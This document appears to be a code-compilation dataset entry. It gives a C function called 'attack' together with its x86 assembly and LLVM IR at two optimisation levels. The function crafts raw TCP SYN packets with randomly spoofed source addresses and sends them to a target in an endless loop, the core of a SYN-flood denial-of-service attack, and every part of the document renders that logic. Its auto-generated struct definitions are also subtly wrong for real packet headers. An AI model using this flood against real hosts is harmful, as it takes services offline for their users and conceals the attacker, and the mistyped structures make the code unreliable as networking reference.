#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct tcphdr {
  int doff;
  int syn;
  scalar_t__ check;
  void *seq;
  int /*<<< orphan*/ dest;
  void *source;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_addr;
};
struct sockaddr {
  int dummy;
};
struct TYPE_2__ {
  void *s_addr;
};
struct ip {
  int ip_hl;
  TYPE_1__ ip_src;
  int /*<<< orphan*/ ip_dst;
  scalar_t__ ip_sum;
  int /*<<< orphan*/ ip_ttl;
  scalar_t__ ip_off;
  scalar_t__ ip_id;
  void *ip_len;
  scalar_t__ ip_tos;
  int /*<<< orphan*/ ip_v;
};

/* Variables and functions */
int /*<<< orphan*/ IPVERSION;
int /*<<< orphan*/ MAXTTL;
scalar_t__ check_sum(unsigned short *, int);
void *htons(unsigned short);
void *random();
int /*<<< orphan*/ sendto(int, char *, int, int /*<<< orphan*/,
                          struct sockaddr *, int);
void attack(int fkfd, struct sockaddr_in *target, unsigned short srcport) {
  char buf[128] = {0};
  struct ip *ip;
  struct tcphdr *tcp;
  int ip_len;
  ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  ip = (struct ip *)buf;
  ip->ip_v = IPVERSION;
  ip->ip_hl = sizeof(struct ip) >> 2;
  ip->ip_tos = 0;
  ip->ip_len = htons(ip_len);
  ip->ip_id = 0;
  ip->ip_off = 0;
  ip->ip_ttl = MAXTTL;
  ip->ip_sum = 0;
  ip->ip_dst = target->sin_addr;
  tcp = (struct tcphdr *)(buf + sizeof(struct ip));
  tcp->source = htons(srcport);
  tcp->dest = target->sin_port;
  tcp->seq = random();
  tcp->doff = 5;
  tcp->syn = 1;
  tcp->check = 0;
  while (1) {
    ip->ip_src.s_addr = random();
    tcp->check = check_sum((unsigned short *)tcp, sizeof(struct tcphdr));
    sendto(fkfd, buf, ip_len, 0, (struct sockaddr *)target,
           sizeof(struct sockaddr_in));
  }
}


x86 assembly (clang, -O0):
<attack>:
push   %rbp
mov    %rsp,%rbp
sub    $0xc0,%rsp
mov    %dx,%ax
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %ax,-0x12(%rbp)
lea    -0xa0(%rbp),%rdi
xor    %esi,%esi
mov    $0x80,%edx
call   1040 <memset@plt>
movl   $0x78,-0xb4(%rbp)
lea    -0xa0(%rbp),%rax
mov    %rax,-0xa8(%rbp)
mov    0x2e4d(%rip),%rax
mov    (%rax),%ecx
mov    -0xa8(%rbp),%rax
mov    %ecx,0x48(%rax)
mov    -0xa8(%rbp),%rax
movl   $0x14,(%rax)
mov    -0xa8(%rbp),%rax
movq   $0x0,0x40(%rax)
mov    -0xb4(%rbp),%eax
movzwl %ax,%edi
call   1030 <htons@plt>
mov    %rax,%rcx
mov    -0xa8(%rbp),%rax
mov    %rcx,0x38(%rax)
mov    -0xa8(%rbp),%rax
movq   $0x0,0x30(%rax)
mov    -0xa8(%rbp),%rax
movq   $0x0,0x28(%rax)
mov    0x2ddc(%rip),%rax
mov    (%rax),%ecx
mov    -0xa8(%rbp),%rax
mov    %ecx,0x20(%rax)
mov    -0xa8(%rbp),%rax
movq   $0x0,0x18(%rax)
mov    -0x10(%rbp),%rax
mov    0x4(%rax),%ecx
mov    -0xa8(%rbp),%rax
mov    %ecx,0x10(%rax)
lea    -0xa0(%rbp),%rax
add    $0x50,%rax
mov    %rax,-0xb0(%rbp)
movzwl -0x12(%rbp),%edi
call   1030 <htons@plt>
mov    %rax,%rcx
mov    -0xb0(%rbp),%rax
mov    %rcx,0x20(%rax)
mov    -0x10(%rbp),%rax
mov    (%rax),%ecx
mov    -0xb0(%rbp),%rax
mov    %ecx,0x18(%rax)
mov    $0x0,%al
call   1070 <random@plt>
mov    %rax,%rcx
mov    -0xb0(%rbp),%rax
mov    %rcx,0x10(%rax)
mov    -0xb0(%rbp),%rax
movl   $0x5,(%rax)
mov    -0xb0(%rbp),%rax
movl   $0x1,0x4(%rax)
mov    -0xb0(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    $0x0,%al
call   1070 <random@plt>
mov    %rax,%rcx
mov    -0xa8(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0xb0(%rbp),%rdi
mov    $0x28,%esi
call   1060 <check_sum@plt>
mov    %rax,%rcx
mov    -0xb0(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0x4(%rbp),%edi
lea    -0xa0(%rbp),%rsi
mov    -0xb4(%rbp),%edx
mov    -0x10(%rbp),%r8
xor    %ecx,%ecx
mov    $0x8,%r9d
call   1050 <sendto@plt>
jmp    12a8 <attack+0x158>

x86 assembly (clang, -O2):
<attack>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x88,%rsp
mov    %edx,%r15d
mov    %rsi,%rbx
mov    %edi,%ebp
xorps  %xmm0,%xmm0
movaps %xmm0,0x40(%rsp)
movaps %xmm0,(%rsp)
movaps %xmm0,0x70(%rsp)
movaps %xmm0,0x60(%rsp)
movaps %xmm0,0x50(%rsp)
movaps %xmm0,0x30(%rsp)
movaps %xmm0,0x20(%rsp)
movaps %xmm0,0x10(%rsp)
lea    0x50(%rsp),%r14
mov    0x2e5d(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x48(%rsp)
movl   $0x14,(%rsp)
mov    $0x78,%edi
call   1030 <htons@plt>
mov    %rax,0x38(%rsp)
xorps  %xmm0,%xmm0
movups %xmm0,0x28(%rsp)
mov    0x2e2a(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x20(%rsp)
movq   $0x0,0x18(%rsp)
mov    0x4(%rbx),%eax
mov    %eax,0x10(%rsp)
mov    %r15d,%edi
call   1030 <htons@plt>
mov    %rax,0x70(%rsp)
mov    (%rbx),%eax
mov    %eax,0x68(%rsp)
xor    %eax,%eax
call   1060 <random@plt>
mov    %rax,0x60(%rsp)
movabs $0x100000005,%rax
mov    %rax,0x50(%rsp)
movq   $0x0,0x58(%rsp)
mov    %rsp,%r15
cs nopw 0x0(%rax,%rax,1)
xor    %eax,%eax
call   1060 <random@plt>
mov    %rax,0x8(%rsp)
mov    %r14,%rdi
mov    $0x28,%esi
call   1050 <check_sum@plt>
mov    %rax,0x58(%rsp)
mov    %ebp,%edi
mov    %r15,%rsi
mov    $0x78,%edx
xor    %ecx,%ecx
mov    %rbx,%r8
mov    $0x8,%r9d
call   1040 <sendto@plt>
jmp    1210 <attack+0xd0>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32 }
%struct.ip = type { i32, %struct.TYPE_2__, i32, i64, i32, i64, i64, i8*, i64, i32 }
%struct.TYPE_2__ = type { i8* }
%struct.tcphdr = type { i32, i32, i64, i8*, i32, i8* }
%struct.sockaddr = type { i32 }
@IPVERSION = global i32 0
@MAXTTL = global i32 0
define void @attack(i32 %0, %struct.sockaddr_in* %1, i16 zeroext %2) {
%4 = alloca i32
%5 = alloca %struct.sockaddr_in*
%6 = alloca i16
%7 = alloca [128 x i8]
%8 = alloca %struct.ip*
%9 = alloca %struct.tcphdr*
%10 = alloca i32
store i32 %0, i32* %4
store %struct.sockaddr_in* %1, %struct.sockaddr_in** %5
store i16 %2, i16* %6
%11 = bitcast [128 x i8]* %7 to i8*
store i32 120, i32* %10
%12 = getelementptr inbounds [128 x i8], [128 x i8]* %7, i64 0, i64 0
%13 = bitcast i8* %12 to %struct.ip*
store %struct.ip* %13, %struct.ip** %8
%14 = load i32, i32* @IPVERSION
%15 = load %struct.ip*, %struct.ip** %8
%16 = getelementptr inbounds %struct.ip, %struct.ip* %15, i32 0, i32 9
store i32 %14, i32* %16
%17 = load %struct.ip*, %struct.ip** %8
%18 = getelementptr inbounds %struct.ip, %struct.ip* %17, i32 0, i32 0
store i32 20, i32* %18
%19 = load %struct.ip*, %struct.ip** %8
%20 = getelementptr inbounds %struct.ip, %struct.ip* %19, i32 0, i32 8
store i64 0, i64* %20
%21 = load i32, i32* %10
%22 = trunc i32 %21 to i16
%23 = call i8* @htons(i16 zeroext %22)
%24 = load %struct.ip*, %struct.ip** %8
%25 = getelementptr inbounds %struct.ip, %struct.ip* %24, i32 0, i32 7
store i8* %23, i8** %25
%26 = load %struct.ip*, %struct.ip** %8
%27 = getelementptr inbounds %struct.ip, %struct.ip* %26, i32 0, i32 6
store i64 0, i64* %27
%28 = load %struct.ip*, %struct.ip** %8
%29 = getelementptr inbounds %struct.ip, %struct.ip* %28, i32 0, i32 5
store i64 0, i64* %29
%30 = load i32, i32* @MAXTTL
%31 = load %struct.ip*, %struct.ip** %8
%32 = getelementptr inbounds %struct.ip, %struct.ip* %31, i32 0, i32 4
store i32 %30, i32* %32
%33 = load %struct.ip*, %struct.ip** %8
%34 = getelementptr inbounds %struct.ip, %struct.ip* %33, i32 0, i32 3
store i64 0, i64* %34
%35 = load %struct.sockaddr_in*, %struct.sockaddr_in** %5
%36 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %35, i32 0, i32 1
%37 = load i32, i32* %36
%38 = load %struct.ip*, %struct.ip** %8
%39 = getelementptr inbounds %struct.ip, %struct.ip* %38, i32 0, i32 2
store i32 %37, i32* %39
%40 = getelementptr inbounds [128 x i8], [128 x i8]* %7, i64 0, i64 0
%41 = getelementptr inbounds i8, i8* %40, i64 80
%42 = bitcast i8* %41 to %struct.tcphdr*
store %struct.tcphdr* %42, %struct.tcphdr** %9
%43 = load i16, i16* %6
%44 = call i8* @htons(i16 zeroext %43)
%45 = load %struct.tcphdr*, %struct.tcphdr** %9
%46 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %45, i32 0, i32 5
store i8* %44, i8** %46
%47 = load %struct.sockaddr_in*, %struct.sockaddr_in** %5
%48 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %47, i32 0, i32 0
%49 = load i32, i32* %48
%50 = load %struct.tcphdr*, %struct.tcphdr** %9
%51 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %50, i32 0, i32 4
store i32 %49, i32* %51
%52 = call i8* (...) @random()
%53 = load %struct.tcphdr*, %struct.tcphdr** %9
%54 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %53, i32 0, i32 3
store i8* %52, i8** %54
%55 = load %struct.tcphdr*, %struct.tcphdr** %9
%56 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %55, i32 0, i32 0
store i32 5, i32* %56
%57 = load %struct.tcphdr*, %struct.tcphdr** %9
%58 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %57, i32 0, i32 1
store i32 1, i32* %58
%59 = load %struct.tcphdr*, %struct.tcphdr** %9
%60 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %59, i32 0, i32 2
store i64 0, i64* %60
br label %61
61: ; preds = %3, %61
%62 = call i8* (...) @random()
%63 = load %struct.ip*, %struct.ip** %8
%64 = getelementptr inbounds %struct.ip, %struct.ip* %63, i32 0, i32 1
%65 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %64, i32 0, i32 0
store i8* %62, i8** %65
%66 = load %struct.tcphdr*, %struct.tcphdr** %9
%67 = bitcast %struct.tcphdr* %66 to i16*
%68 = call i64 @check_sum(i16* %67, i32 40)
%69 = load %struct.tcphdr*, %struct.tcphdr** %9
%70 = getelementptr inbounds %struct.tcphdr, %struct.tcphdr* %69, i32 0, i32 2
store i64 %68, i64* %70
%71 = load i32, i32* %4
%72 = getelementptr inbounds [128 x i8], [128 x i8]* %7, i64 0, i64 0
%73 = load i32, i32* %10
%74 = load %struct.sockaddr_in*, %struct.sockaddr_in** %5
%75 = bitcast %struct.sockaddr_in* %74 to %struct.sockaddr*
%76 = call i32 @sendto(i32 %71, i8* %72, i32 %73, i32 0, %struct.sockaddr* %75, i32 8)
br label %61
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32 }
%struct.sockaddr = type { i32 }
@IPVERSION = global i32 0
@MAXTTL = global i32 0
define void @attack(i32 %0, %struct.sockaddr_in* %1, i16 zeroext %2) {
%4 = alloca [128 x i8]
%5 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 0
%6 = load i32, i32* @IPVERSION
%7 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 72
%8 = bitcast i8* %7 to i32*
store i32 %6, i32* %8
%9 = bitcast [128 x i8]* %4 to i32*
store i32 20, i32* %9
%10 = tail call i8* @htons(i16 zeroext 120)
%11 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 56
%12 = bitcast i8* %11 to i8**
store i8* %10, i8** %12
%13 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 40
%14 = load i32, i32* @MAXTTL
%15 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 32
%16 = bitcast i8* %15 to i32*
store i32 %14, i32* %16
%17 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 24
%18 = bitcast i8* %17 to i64*
store i64 0, i64* %18
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
%20 = load i32, i32* %19
%21 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 16
%22 = bitcast i8* %21 to i32*
store i32 %20, i32* %22
%23 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 80
%24 = tail call i8* @htons(i16 zeroext %2)
%25 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 112
%26 = bitcast i8* %25 to i8**
store i8* %24, i8** %26
%27 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0
%28 = load i32, i32* %27
%29 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 104
%30 = bitcast i8* %29 to i32*
store i32 %28, i32* %30
%31 = tail call i8* (...) @random()
%32 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 96
%33 = bitcast i8* %32 to i8**
store i8* %31, i8** %33
%34 = bitcast i8* %23 to i32*
store i32 5, i32* %34
%35 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 84
%36 = bitcast i8* %35 to i32*
store i32 1, i32* %36
%37 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 88
%38 = bitcast i8* %37 to i64*
store i64 0, i64* %38
%39 = getelementptr inbounds [128 x i8], [128 x i8]* %4, i64 0, i64 8
%40 = bitcast i8* %39 to i8**
%41 = bitcast i8* %23 to i16*
%42 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
br label %43
43: ; preds = %43, %3
%44 = call i8* (...) @random()
store i8* %44, i8** %40
%45 = call i64 @check_sum(i16* %41, i32 40)
store i64 %45, i64* %38
%46 = call i32 @sendto(i32 %0, i8* %5, i32 120, i32 0, %struct.sockaddr* %42, i32 8)
br label %43
}